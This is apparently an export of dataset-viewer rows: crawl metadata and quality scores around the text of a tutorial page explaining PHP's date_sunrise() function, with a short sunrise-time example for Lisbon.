20935,
20950,
21132,
21143,
21153,
21168,
21305,
21596,
21607,
21802,
21813,
21814,
21832,
21836,
21840,
22544,
22555,
22556,
22574,
22578,
22582,
23017,
23028,
23034,
23038,
23051,
23152,
23163,
23167,
23171,
23453,
23464,
23470,
23474,
23487,
24075,
24086,
24087,
24105,
24109,
24113,
24325,
24336,
24342,
24346,
24359,
24490,
24501,
24507,
24511,
24524,
24895,
24906,
24907,
24925,
24929,
24933,
25272,
25283,
25284,
25302,
25312,
25327,
25923,
25934,
25938,
25942,
26116,
26127,
26128,
26146,
26156,
26171,
26339,
26350,
26354,
26358,
26418,
26429,
26430,
26448,
26454,
26458,
26471,
26639,
26650,
26660,
26675,
27163,
27174,
27175,
27193,
27197,
27201,
27926,
27937,
27947,
27962,
28086,
28097,
28101,
28105,
28272,
28283,
28293,
28308,
28379,
28390,
28394,
28398,
29032,
29043,
29053,
29068,
29118,
29129,
29139,
29154,
29258,
29269,
29270,
29288,
29298,
29313,
30049,
30060,
30064,
30068,
30237,
30248,
30249,
30267,
30529,
30540,
30546,
30550,
30563,
30787,
30798,
30802,
30806,
30920,
30931,
30932,
30950,
30954,
30958,
32346,
32357,
32358,
32376,
32380,
32384,
32552,
32563,
32564,
32582,
32586,
32590,
34289,
34300,
34310,
34325,
34541,
34552,
34556,
34560,
34596,
34607,
34617,
34632,
34666,
34677,
34681,
34685,
34743,
34754,
34758,
34762,
34869,
34880,
34881,
34899,
34903,
34907,
35311,
35364,
35375,
35385,
35400,
35502,
35513,
35517,
35521
],
"line_end_idx": [
36,
134,
135,
157,
158,
169,
170,
188,
192,
196,
17445,
17456,
17466,
17481,
17494,
17525,
17536,
17542,
17555,
17568,
17753,
17764,
17774,
17789,
19138,
19149,
19155,
19168,
19181,
19413,
19424,
19425,
19443,
19447,
19451,
20215,
20226,
20236,
20251,
20482,
20493,
20494,
20512,
20516,
20520,
20914,
20925,
20935,
20950,
21132,
21143,
21153,
21168,
21305,
21596,
21607,
21802,
21813,
21814,
21832,
21836,
21840,
22544,
22555,
22556,
22574,
22578,
22582,
23017,
23028,
23034,
23038,
23051,
23152,
23163,
23167,
23171,
23453,
23464,
23470,
23474,
23487,
24075,
24086,
24087,
24105,
24109,
24113,
24325,
24336,
24342,
24346,
24359,
24490,
24501,
24507,
24511,
24524,
24895,
24906,
24907,
24925,
24929,
24933,
25272,
25283,
25284,
25302,
25312,
25327,
25923,
25934,
25938,
25942,
26116,
26127,
26128,
26146,
26156,
26171,
26339,
26350,
26354,
26358,
26418,
26429,
26430,
26448,
26454,
26458,
26471,
26639,
26650,
26660,
26675,
27163,
27174,
27175,
27193,
27197,
27201,
27926,
27937,
27947,
27962,
28086,
28097,
28101,
28105,
28272,
28283,
28293,
28308,
28379,
28390,
28394,
28398,
29032,
29043,
29053,
29068,
29118,
29129,
29139,
29154,
29258,
29269,
29270,
29288,
29298,
29313,
30049,
30060,
30064,
30068,
30237,
30248,
30249,
30267,
30529,
30540,
30546,
30550,
30563,
30787,
30798,
30802,
30806,
30920,
30931,
30932,
30950,
30954,
30958,
32346,
32357,
32358,
32376,
32380,
32384,
32552,
32563,
32564,
32582,
32586,
32590,
34289,
34300,
34310,
34325,
34541,
34552,
34556,
34560,
34596,
34607,
34617,
34632,
34666,
34677,
34681,
34685,
34743,
34754,
34758,
34762,
34869,
34880,
34881,
34899,
34903,
34907,
35311,
35364,
35375,
35385,
35400,
35502,
35513,
35517,
35521,
35740
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 35740,
"ccnet_original_nlines": 241,
"rps_doc_curly_bracket": 0.002462229924276471,
"rps_doc_ldnoobw_words": 4,
"rps_doc_lorem_ipsum": 0.000030330000299727544,
"rps_doc_stop_word_fraction": 0.32939568161964417,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.029097240418195724,
"rps_doc_frac_lines_end_with_ellipsis": 0.008264459669589996,
"rps_doc_frac_no_alph_words": 0.2448395937681198,
"rps_doc_frac_unique_words": 0.22273346781730652,
"rps_doc_mean_word_length": 4.619291305541992,
"rps_doc_num_sentences": 477,
"rps_doc_symbol_to_word_ratio": 0.008331259712576866,
"rps_doc_unigram_entropy": 6.0722174644470215,
"rps_doc_word_count": 5868,
"rps_doc_frac_chars_dupe_10grams": 0.16985169053077698,
"rps_doc_frac_chars_dupe_5grams": 0.2341548055410385,
"rps_doc_frac_chars_dupe_6grams": 0.2022799402475357,
"rps_doc_frac_chars_dupe_7grams": 0.19353649020195007,
"rps_doc_frac_chars_dupe_8grams": 0.1854202002286911,
"rps_doc_frac_chars_dupe_9grams": 0.17818933725357056,
"rps_doc_frac_chars_top_2gram": 0.01198996976017952,
"rps_doc_frac_chars_top_3gram": 0.007083300035446882,
"rps_doc_frac_chars_top_4gram": 0.011621040292084217,
"rps_doc_books_importance": -3219.632568359375,
"rps_doc_books_importance_length_correction": -3219.632568359375,
"rps_doc_openwebtext_importance": -2065.8134765625,
"rps_doc_openwebtext_importance_length_correction": -2065.8134765625,
"rps_doc_wikipedia_importance": -1402.12109375,
"rps_doc_wikipedia_importance_length_correction": -1402.12109375
},
"fasttext": {
"dclm": 0.08537203073501587,
"english": 0.834947407245636,
"fineweb_edu_approx": 1.2870692014694214,
"eai_general_math": 0.43084949254989624,
"eai_open_web_math": 0.3473260998725891,
"eai_web_code": 0.2774220108985901
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "794.8",
"labels": {
"level_1": "Arts",
"level_2": "Amusements and Recreation",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "18",
"label": "Q&A Forum"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-1,048,770,451,107,601,000 |
PHP - Function date_sunrise()
Advertisements
Syntax
mixed date_sunrise ( int $timestamp [, int $format [, float $latitude [, float $longitude [, float $zenith [, float $gmt_offset]]]]] )
Definition and Usage
This function returns the sunrise time for a given day (specified as a timestamp) and location.
Parameters
Parameter Description
timestamp Required. The timestamp of the day from which the sunrise time is taken.
format
Optional. Specifies how to return the result −
• SUNFUNCS_RET_STRING (returns the result as string. e.g. 16:46)
• SUNFUNCS_RET_DOUBLE (returns the result as float. e.g. 16.78243132)
• SUNFUNCS_RET_TIMESTAMP (returns the result as integer (timestamp). e.g. 1095034606)
latitude Optional. Specifies the latitude of the location. The latitude defaults to North. If you want to specify a South value, you must pass a negative value.
longitude Optional. Specifies the longitude of the location. The longitude defaults to East. If you want to specify a West value, you must pass a negative value.
zenith Optional.
gmt_offset Optional. Specifies the difference between GMT and local time in hours.
Return Value
Returns the sunrise time in a specified format on success, or FALSE on failure.
Example
Following is the usage of this function −
<?php
/* calculate the sunrise time for Lisbon, Portugal
Latitude: 38.4 North
Longitude: 9 West
Zenith ~= 90
offset: +1 GMT
*/
echo("Date: " . date("D M d Y") . "<br />");
echo("Sunrise time: ");
echo(date_sunrise(time(),SUNFUNCS_RET_STRING,38.4,-9,90,1));
?>
This will produce the following result −
Date: Tue Jan 24 2006
Sunrise time: 08:52
php_function_reference.htm
Advertisements
|
{
"url": "http://www.tutorialspoint.com/php/php_function_sunrise.htm",
"source_domain": "www.tutorialspoint.com",
"snapshot_id": "crawl=CC-MAIN-2015-40",
"warc_metadata": {
"Content-Length": "23409",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:CQOFGCWCK2VUE5FQLJUUQWV3VS6F5GLF",
"WARC-Concurrent-To": "<urn:uuid:29065f1d-345a-43aa-8dbc-8c244aadcc23>",
"WARC-Date": "2015-10-09T14:00:53Z",
"WARC-IP-Address": "72.21.91.8",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:2JH2LKJZTMYTJ7XMHQBNZRN43Q7FS4BQ",
"WARC-Record-ID": "<urn:uuid:1843a200-5498-4f8f-ad30-a40095c16bda>",
"WARC-Target-URI": "http://www.tutorialspoint.com/php/php_function_sunrise.htm",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:95d7a062-b1a5-4a4e-9c41-fd35e940c2e4>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-137-6-227.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-40\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for September 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
30,
31,
32,
47,
48,
49,
56,
57,
192,
193,
214,
215,
311,
312,
323,
324,
346,
429,
436,
437,
484,
485,
552,
624,
712,
873,
1035,
1052,
1135,
1136,
1149,
1150,
1230,
1231,
1239,
1240,
1282,
1283,
1289,
1343,
1370,
1394,
1413,
1434,
1440,
1444,
1492,
1519,
1583,
1587,
1588,
1629,
1630,
1652,
1672,
1673,
1700,
1701
],
"line_end_idx": [
30,
31,
32,
47,
48,
49,
56,
57,
192,
193,
214,
215,
311,
312,
323,
324,
346,
429,
436,
437,
484,
485,
552,
624,
712,
873,
1035,
1052,
1135,
1136,
1149,
1150,
1230,
1231,
1239,
1240,
1282,
1283,
1289,
1343,
1370,
1394,
1413,
1434,
1440,
1444,
1492,
1519,
1583,
1587,
1588,
1629,
1630,
1652,
1672,
1673,
1700,
1701,
1715
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 1715,
"ccnet_original_nlines": 58,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.23529411852359772,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03235293924808502,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.34117648005485535,
"rps_doc_frac_unique_words": 0.46086958050727844,
"rps_doc_mean_word_length": 5.482608795166016,
"rps_doc_num_sentences": 34,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.356456279754639,
"rps_doc_word_count": 230,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.07771609723567963,
"rps_doc_frac_chars_dupe_6grams": 0.07771609723567963,
"rps_doc_frac_chars_dupe_7grams": 0.04758128151297569,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.03965106979012489,
"rps_doc_frac_chars_top_3gram": 0.04440920054912567,
"rps_doc_frac_chars_top_4gram": 0.04282315820455551,
"rps_doc_books_importance": -122.61666870117188,
"rps_doc_books_importance_length_correction": -111.3082046508789,
"rps_doc_openwebtext_importance": -97.08570861816406,
"rps_doc_openwebtext_importance_length_correction": -97.08570861816406,
"rps_doc_wikipedia_importance": -63.595008850097656,
"rps_doc_wikipedia_importance_length_correction": -55.55867385864258
},
"fasttext": {
"dclm": 0.029061200097203255,
"english": 0.5148170590400696,
"fineweb_edu_approx": 2.154113292694092,
"eai_general_math": 0.13207119703292847,
"eai_open_web_math": 0.12988609075546265,
"eai_web_code": 0.45588940382003784
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "520",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Astronomy",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.